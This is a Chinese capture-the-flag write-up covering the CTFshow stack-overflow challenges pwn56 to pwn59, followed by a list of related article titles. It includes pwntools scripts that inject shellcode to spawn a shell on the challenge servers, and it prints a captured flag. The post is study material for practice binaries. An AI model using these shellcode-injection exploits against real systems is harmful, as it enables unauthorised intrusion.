当前位置: 首页 > ops >正文

CTFshow-PWN-栈溢出(pwn56-pwn59)

pwn56 和 pwn57 分别为 32 位 和 64 位的 shellcode

系统调用 execve("/bin/sh",NULL,NULL)

pwn56 伪代码

汇编代码 

 pwn57 伪代码

汇编代码

二者都是连上就可以直接交互

因为 execve 的参数已经配置好了

exp:

# @author:My6n
# @time:20250614
from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
io.interactive()

接下来我们看 pwn58

main 函数无法反编译

我们直接看汇编

在栈帧初始化阶段,开辟了 0xA0 的空间,也就是 160 字节大小

注意看标红的部分:

[ebp+s] 其实就是 [ebp - 0xA0] 即 s 的地址

这里在调用 ctfshow 函数后,会 call s 这个地址

那么就会执行 s 指向内存里面的代码

我们再来看一下 ctfshow 函数:

gets 函数的参数就是 s

换句话说,我们输入的内容会被当做代码直接执行 

由于 char s[160] 在栈上,我们检查一下程序:

没有开 NX 保护,那么可以执行

我们直接将 shellcode 写进去即可

exp:

# @author:My6n
# @time:20250614
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28119)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

读取 flag 

拿到 flag:ctfshow{cab1b4e4-8b6f-458f-89fc-2bd86bc01bd9}

pwn59 同理,只不过是 64 位

exp:

# @author:My6n
# @time:20250614
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28252)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

http://www.xdnf.cn/news/14124.html

相关文章:

  • 学习Oracle------认识VARCHAR2
  • langchain从入门到精通(七)——利用回调功能调试链应用 - 让过程更透明
  • Wiiu平台RetroArch全能模拟器美化整合包v1.18
  • 【大模型应用开发】SpringBoot 整合基于 Ollama 的 DeepSeek,并对接前端( 全部代码 !!!)
  • TensorFlow 2.0 与 Python 3.11 兼容性
  • 查找PPT中引用的图表在哪个EXCEL文件中
  • 笔记本电脑安装win11哪个版本好_笔记本电脑安装win11专业版图文教程
  • Spring中观察者模式的应用
  • 【论文解读】AgentThink:让VLM在自动驾驶中学会思考与使用工具
  • sql列中数据通过逗号分割的集合,对其中的值进行全表查重
  • NAS 资源帖
  • STM32项目---汽车氛围灯
  • flowable工作流的学习demo
  • 【本地虚拟机】xshell连接虚拟机linux服务器
  • 云平台|Linux部分指令
  • 【Erdas实验教程】021:遥感图像辐射增强( 查找表拉伸)
  • NLP学习路线图(四十七):隐私保护
  • YOLOv8新突破:FASFFHead多尺度检测的极致探索
  • 【模板】埃拉托色尼筛法(埃氏筛)
  • Spring-rabbit重试消费源码分析
  • OCCT基础类库介绍:Modeling Data - 2D Geometry 3D Geometry Topology
  • Javascript和NodeJS异常捕获对比
  • C++基础算法————二分查找
  • 深度学习——基于卷积神经网络实现食物图像分类【1】(datalodar处理方法)
  • VMware虚拟机集群上部署HDFS集群
  • 达梦的三权分立安全机制
  • 【机器学习与数据挖掘实战 | 医疗】案例16:基于K-Means聚类的医疗保险的欺诈发现
  • 使用 Azure LLM Functions 与 Elasticsearch 构建更智能的查询体验
  • 【论文解读】OmegaPRM:MCTS驱动的自动化过程监督,赋能LLM数学推理新高度
  • C++包管理器vcpkg的使用